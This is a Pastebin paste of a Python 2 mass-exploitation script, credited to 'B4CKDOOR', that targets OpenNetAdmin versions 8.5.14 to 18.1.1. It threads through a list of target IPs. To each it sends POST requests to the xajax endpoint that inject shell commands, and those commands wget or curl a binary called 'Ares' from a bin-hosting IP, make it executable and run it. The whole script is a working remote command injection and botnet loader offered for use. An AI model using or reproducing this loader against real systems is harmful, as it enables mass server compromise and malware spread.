Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- # NEW OpenNetAdmin Exploit Loader made by B4CKDOOR #
- # AFFLICTED VERSION v8.5.14 to v18.1.1 #
- # B4CKDOORARCHIVE.CLUB - JOIN #
- import threading, random, socket, time, sys, requests, re, os
- from threading import Thread
- from time import sleep
- import requests
- from requests.auth import HTTPDigestAuth
- from decimal import *
- if len(sys.argv) < 2:
- print "\033[37mUsage: python "+sys.argv[0]+" <list>\033[37m"
- sys.exit()
- ip = "1.3.3.7" # BINS LOCATION IP
- vulns = open(sys.argv[1], "r").readlines()
- cmd1 = "wget http://" + ip + "/Ares.x86; curl -O http://" + ip + "/Ares.x86; chmod +x Ares.x86; ./Ares.x86 netadmin.x86"
- cmd2 = "wget http://" + ip + "/Ares.x64; curl -O http://" + ip + "/Ares.x64; chmod +x Ares.x64; ./Ares.x64 netadmin.x64"
- #DEFAULT HTTPD PORT 80
- class send_payload(threading.Thread):
- def __init__ (self, ip):
- threading.Thread.__init__(self)
- self.ip = str(ip).rstrip('\n')
- def run(self):
- try:
- url = "http://" + self.ip + "/xajax=window_submit&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;"+cmd1+";&xajaxargs[]=ping"
- url2 = "http://" + self.ip + "/xajax=window_submit&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;"+cmd2+";&xajaxargs[]=ping"
- requests.post(url, timeout=3)
- requests.post(url2, timeout=3)
- print "[OpenNet-Adm] Loading: %s"%(self.ip)
- except:
- pass
- for IP in vulns:
- try:
- ip = "".join(IP)
- ip = ip.replace("\n", "")
- t = send_payload(ip)
- t.start()
- time.sleep(0.03)
- except:
- pass #CODED BY B4CKDOOR
Add Comment
Please, Sign In to add comment